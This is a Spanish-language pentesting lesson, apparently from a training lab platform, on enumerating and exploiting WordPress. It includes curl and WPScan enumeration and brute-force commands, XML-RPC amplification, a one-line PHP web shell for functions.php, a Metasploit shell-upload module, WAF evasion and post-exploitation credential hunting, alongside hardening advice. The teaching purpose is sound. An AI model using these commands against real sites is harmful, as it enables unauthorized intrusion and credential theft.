WordPress: cómo se auditan y explotan los fallos más comunes

2026-11-05 · 10 min de lectura

Aprende por qué WordPress es el CMS más atacado del mundo, cómo se enumeran usuarios y plugins, qué es WPScan, cómo se abusa de los temas y plugins para lograr RCE, y cómo se asegura una instalación para no ser víctima.

WordPress mueve más del 43 por ciento de los sitios web del mundo. Cualquier blog, tienda online con WooCommerce, revista digital o web corporativa pequeña tiene una probabilidad enorme de estar corriendo WordPress. Y como pasa con toda plataforma dominante, es también la más atacada: vulnerabilidades en plugins, temas y configuraciones débiles aparecen todos los días. Para un pentester o un operador, saber enumerar y explotar WordPress no es opcional.

Lo que hace a WordPress particularmente interesante no es el núcleo (que suele estar razonablemente parcheado), sino el ecosistema: más de 60.000 plugins en el repositorio oficial y miles de temas, cada uno escrito por una persona distinta, con distinto nivel de calidad. Un plugin olvidado desde 2022 con una vulnerabilidad de subida de archivos puede dar RCE en segundos sobre una web perfectamente al día en todo lo demás.

En esta lección vas a ver la superficie de ataque de WordPress, las herramientas (WPScan, nuclei, manual), cómo pasar de «encuentro un WordPress» a shell, y cómo blindar una instalación. Todo probado en los laboratorios WordPress, el-acelerador y canceled de whoami-labs.

Practica solo contra sistemas autorizados. Atacar un WordPress ajeno sin permiso explícito es delito; los laboratorios te dan todo lo que necesitas para aprender.

Por qué WordPress se explota tanto#

Superficie de WordPress: núcleo, plugins, temas, usuarios, XML-RPC, REST API, admin, uploads

Los puntos débiles típicos:

Plugins y temas desactualizados: una web puede tener el núcleo al día pero un plugin de hace cinco años con RCE conocido.
Credenciales débiles: el usuario admin con contraseña de diccionario sigue siendo frecuente.
XML-RPC (/xmlrpc.php): útil para amplificar fuerza bruta (centenares de credenciales por request).
REST API (/wp-json/): expone usuarios, posts, metadatos. Mal configurada filtra información.
Subidas de archivos en plugins mal escritos: sin validación de tipo o extensión → RCE.
Theme editor con admin comprometido: editar functions.php desde el navegador = RCE directo.

Combina esos puntos y entenderás por qué un plugin publicado en 2016 con 10.000 instalaciones activas sigue pagando para bots y afiliados al crimen organizado.

Enumeración#

Antes de atacar hay que entender qué hay delante. Pasos típicos:

Detectar que es WordPress#

Señales en el HTML:

curl -s https://objetivo.com | grep -i "wp-content\|wp-includes\|generator"

La etiqueta <meta name="generator" c> revela la versión. También:

curl -s https://objetivo.com/wp-login.php -o /dev/null -w "%{http_code}\n"
curl -s https://objetivo.com/readme.html

Enumerar usuarios por REST API#

curl -s https://objetivo.com/wp-json/wp/v2/users | jq

Si el endpoint está abierto (lo está por defecto hasta WP 4.7+ con ciertas condiciones), devuelve nombres de usuario que puedes usar para fuerza bruta en wp-login.php o XML-RPC.

Enumerar usuarios por author ID#

curl -s "https://objetivo.com/?author=1" -I | grep -i location

Redirige a /author/<nombre-usuario>/, revelando el login del usuario con ID 1 (habitualmente el administrador original).

WPScan: la herramienta principal#

WPScan es el escáner especializado. Enumera usuarios, plugins, temas y los cruza con su base de datos de vulnerabilidades conocidas (CVE + 0days reportados).

# Enumeración completa
wpscan --url https://objetivo.com --enumerate ap,at,u \
  --api-token TU_TOKEN

# Solo plugins vulnerables conocidos
wpscan --url https://objetivo.com --enumerate vp --api-token TU_TOKEN

# Fuerza bruta de usuario admin
wpscan --url https://objetivo.com -U admin -P /ruta/rockyou.txt

Las flags ap (all plugins), at (all themes), u (users). El --api-token (gratis con cuenta) permite ver los CVE asociados a cada plugin/tema detectado.

Flag	Qué enumera
`vp`	Plugins vulnerables conocidos (rápido)
`ap`	Todos los plugins (más lento)
`vt`	Temas vulnerables
`at`	Todos los temas
`u`	Usuarios por author ID
`tt`	Timthumbs antiguos
`cb`	Backups de config

Fuerza bruta inteligente#

Si tienes usuarios enumerados, el ataque clásico es wp-login.php:

wpscan --url https://objetivo.com -U admin,maria -P passwords.txt \
  --max-threads 5

Más amplificado: XML-RPC permite múltiples intentos en una sola petición POST:

wpscan --url https://objetivo.com -U admin -P passwords.txt \
  --password-attack xmlrpc-multicall

Un solo request puede probar 500 contraseñas. Si XML-RPC está habilitado (por defecto, muchas veces sí), la fuerza bruta va 100 veces más rápida que por login normal.

De admin a shell: tres caminos clásicos#

Una vez tienes credenciales de admin (fuerza bruta, credential stuffing, SSRF a /wp-admin/), hay tres caminos probados para subir a RCE.

Theme editor desde el admin#

Desde el panel: Apariencia → Editor de temas → functions.php. Añades código PHP:

system($_GET['cmd']);

Guardas y visitas https://objetivo.com/?cmd=id. RCE instantáneo si el tema se carga en la página pública.

Subir un plugin malicioso#

Empaquetas un plugin con plugin.php que ejecute código arbitrario y lo subes desde Plugins → Añadir nuevo → Subir plugin. Metasploit tiene módulos para esto:

use exploit/unix/webapp/wp_admin_shell_upload
set USERNAME admin
set PASSWORD contraseña_del_wp
set RHOSTS objetivo.com
set TARGETURI /
run

Devuelve shell Meterpreter directamente.

Subir media con shell en metadatos#

Para versiones antiguas vulnerables a traversal en subidas, se pueden meter payloads PHP en metadatos EXIF de una imagen y acceder al archivo subido como PHP. Más raro hoy, pero posible en instalaciones muy desatendidas.

Vulnerabilidades típicas en plugins#

Plugin vulnerable: endpoints AJAX sin nonce, subida sin validar, SQLi en POST, LFI en archivos de plantilla

Los patrones recurrentes que explotan los exploits públicos:

Endpoints AJAX sin control de capacidades: wp_ajax_nopriv_* llamables por cualquiera, que ejecutan acciones sensibles.
Subidas sin wp_check_filetype: aceptan .php o extensiones raras (.phtml, .php5).
SQLi en parámetros POST: directos a $wpdb->query sin $wpdb->prepare.
LFI en parámetros de plantilla: include($_GET['tpl']).
Nonces reutilizados o ausentes: permiten CSRF en acciones privilegiadas.
Rutas sensibles sin autenticación: endpoints /wp-content/plugins/x/handler.php directos.

Para encontrarlos: wpscan detecta las versiones vulnerables conocidas, y nuclei con las plantillas wordpress-plugin-* suma cientos de checks rápidos:

nuclei -u https://objetivo.com -t wordpress/ -severity high,critical

Qué buscar tras ganar shell#

Una shell en un WordPress no es el final, es el principio. Lo que vale:

wp-config.php: credenciales de MySQL, claves secretas, salts. Suele dar acceso a toda la base.
La BD: tabla wp_users con hashes phpass (crackeables con hashcat modo 400).
Copias de seguridad en el servidor: .sql, .zip, .tar.gz olvidadas.
Credenciales en logs: debug.log, access.log a veces registran contraseñas en claro por errores de plugins.
Red local: si el WordPress corre en una red interna, es puerta a más máquinas.

Defender un WordPress#

Para endurecer una instalación real:

Actualizaciones automáticas del núcleo y los plugins importantes.
Eliminar plugins y temas no usados (código muerto sigue sirviendo como entrada).
Deshabilitar XML-RPC si no lo usas (plugin Disable XML-RPC).
Restringir /wp-admin/ por IP en el .htaccess o Nginx.
2FA obligatorio para administradores (Two Factor plugin oficial).
WAF delante (Wordfence, Cloudflare WAF, ModSecurity con reglas OWASP).
Permisos de archivo correctos (wp-config.php 640, directorios 755, archivos 644).
Backups diarios verificados fuera del servidor.

WooCommerce y pasarelas#

Un porcentaje enorme de las tiendas online del mundo corre sobre WooCommerce, el plugin de ecommerce para WordPress. Su superficie es mayor que la del WordPress base:

Procesos de checkout: formularios complejos con direcciones, facturación, descuentos, cupones. Cada campo mal validado es un punto de SQLi o stored XSS que acaba en la base de datos.
Gateways de pago: plugins que conectan con Stripe, PayPal, Redsys, pasarelas locales. Un plugin mal mantenido con secretos API en claro en wp_options es una mina.
Webhooks: wc-api endpoints que reciben confirmaciones de pago. Si no validan la firma, puedes simular pagos aprobados.
Cupones y descuentos: lógicas que, mal escritas, dan descuentos del 100 % con secuencias triviales.
Datos de clientes: nombres, direcciones, teléfonos, historial de compras en wp_wc_customer_lookup. Alto valor para un atacante.

Si un objetivo corre WooCommerce, sumar WPScan con plantillas nuclei específicas de Woo (nuclei -t http/vulnerabilities/wordpress/woocommerce-*) encuentra fallos que las plantillas genéricas se pierden. Los módulos de pago son el eslabón débil habitual, igual que en lecciones de API Security sobre e-commerce.

Enumeración de usuarios por API REST avanzada#

Más allá del endpoint /wp-json/wp/v2/users, hay rutas que filtran nombres si están autenticadas o si el sitio tiene plugins que las extienden:

# Comentarios: autor suele estar expuesto
curl -s https://objetivo.com/wp-json/wp/v2/comments | jq '.[].author_name'

# Páginas con autor
curl -s https://objetivo.com/wp-json/wp/v2/pages | jq '.[].author'

# Si hay Yoast SEO, su endpoint da más
curl -s https://objetivo.com/wp-json/yoast/v1/get_head

Combinar esos resultados con los posts (/wp-json/wp/v2/posts) da una lista más rica de usuarios para fuerza bruta posterior. Con 3 o 4 usuarios reales y rockyou o una wordlist regional, la probabilidad de encontrar al menos una contraseña débil crece mucho.

Errores comunes del defensor#

Mantener solo WordPress al día olvidando los plugins.
Dejar el usuario admin como login principal (cámbialo a otro nombre).
Permitir subida de archivos desde comentarios o formularios sin sanitizar.
Instalar plugins piratas o «nulled»: muchos llevan backdoor de fábrica.
No separar entorno de desarrollo del de producción (la misma clave de BD en ambos).

Preguntas frecuentes#

¿WPScan es gratis?#

Sí para uso no comercial, pero la base de vulnerabilidades requiere --api-token y tiene cuota diaria. Crea una cuenta gratuita en wpscan.com y usa ese token.

¿Wordfence detecta WPScan?#

Sí, lo marca como «hostile user agent» y bloquea IPs. Para labs no importa; en red team se cambia el user agent (--random-user-agent) y se baja la concurrencia.

¿Un WordPress sin plugins es seguro?#

El núcleo es relativamente seguro, sí, pero sigue siendo vulnerable a credenciales débiles, XML-RPC, enumeración. «Sin plugins» no implica «sin riesgo»: implica superficie reducida.

¿Qué CMS alternativo hay para ejercicios?#

Joomla, Drupal, Magento y Ghost tienen patrones de ataque similares. Si dominas WordPress puedes pivotar fácil; el ecosistema de WordPress es el más documentado.

¿Dónde practico?#

En los laboratorios WordPress, el-acelerador, canceled y database de whoami-labs: cada uno es un escenario completo con credenciales débiles, plugins viejos, metadatos filtrados y bases que explotar.

¿Qué es un plugin «nulled»?#

Un plugin de pago cuyo código ha sido pirateado para funcionar sin licencia. Se descargan de foros oscuros y suelen llevar inyectado código extra: backdoors que notifican al atacante cuando se instalan, scripts que generan posts con enlaces SEO, o cargadores de malware. Nunca instales plugins nulled en producción; en laboratorio son casos interesantes para ver cómo se oculta un backdoor dentro de un .php legítimo.

¿Qué CVE de plugin ha causado más estragos recientes?#

A lo largo de los años: File Manager (2020, CVE-2020-25213, RCE sin autenticación, cientos de miles de sitios comprometidos), WPBakery Page Builder (varios), Elementor (varios post-auth), LiteSpeed Cache (2024), LayerSlider (CVE-2024-2879, SQLi masivo). WPScan y wpvulndb.com mantienen la lista actualizada; cualquier auditoría empieza por cruzar los plugins instalados con esa base.

¿WordPress en subdirectorios se audita distinto?#

El principio es el mismo; cambia la URL base. Un WordPress en /blog/ o /noticias/ se enumera con --url https://objetivo.com/blog/ y todas las rutas se componen a partir de ahí. Es frecuente en portales corporativos que mezclan CMS con una aplicación principal: el WordPress suele estar menos vigilado y se convierte en la puerta de entrada al servidor.

Resumen#

WordPress es el CMS más atacado: el núcleo suele estar al día, pero los plugins y temas abren mil puertas.
Enumera con WPScan (users, plugins, temas vulnerables) y nuclei para checks rápidos.
Fuerza bruta amplificada con XML-RPC multicall si está habilitado.
De admin a shell: theme editor, plugin malicioso o subida vulnerable.
Defensa: actualizar todo, eliminar lo innecesario, 2FA, WAF, permisos correctos y backups fuera del servidor.